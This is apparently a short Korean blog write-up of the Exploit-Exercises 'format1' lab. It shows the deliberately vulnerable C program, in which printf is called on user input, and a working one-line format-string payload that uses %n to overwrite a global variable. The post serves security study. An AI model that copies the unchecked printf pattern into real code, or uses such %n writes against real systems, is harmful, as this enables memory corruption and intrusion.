ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • format1
    Exploit-Exercise 2016. 8. 18. 00:19
    #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); 

    }





    134번이나 하면 내가 입력해준 AAAA가 출력된다. 그럼 처음에 target 전역변수 주소를 구해서 넣어주면되겠다. 


    root@ubuntu:/home/study# ./fsb1 $(python -c 'print "\x28\xa0\x04\x08%111x%134$n"')

    (                                                                                                             2fyou have modified the target :)

    root@ubuntu:/home/study# 


    'Exploit-Exercise' 카테고리의 다른 글

    format3  (0) 2016.08.18
    format2  (0) 2016.08.18
    Fusion Level 1  (0) 2016.07.12
    format0  (0) 2015.12.08
    stack7  (0) 2015.12.08

    댓글

Designed by Tistory.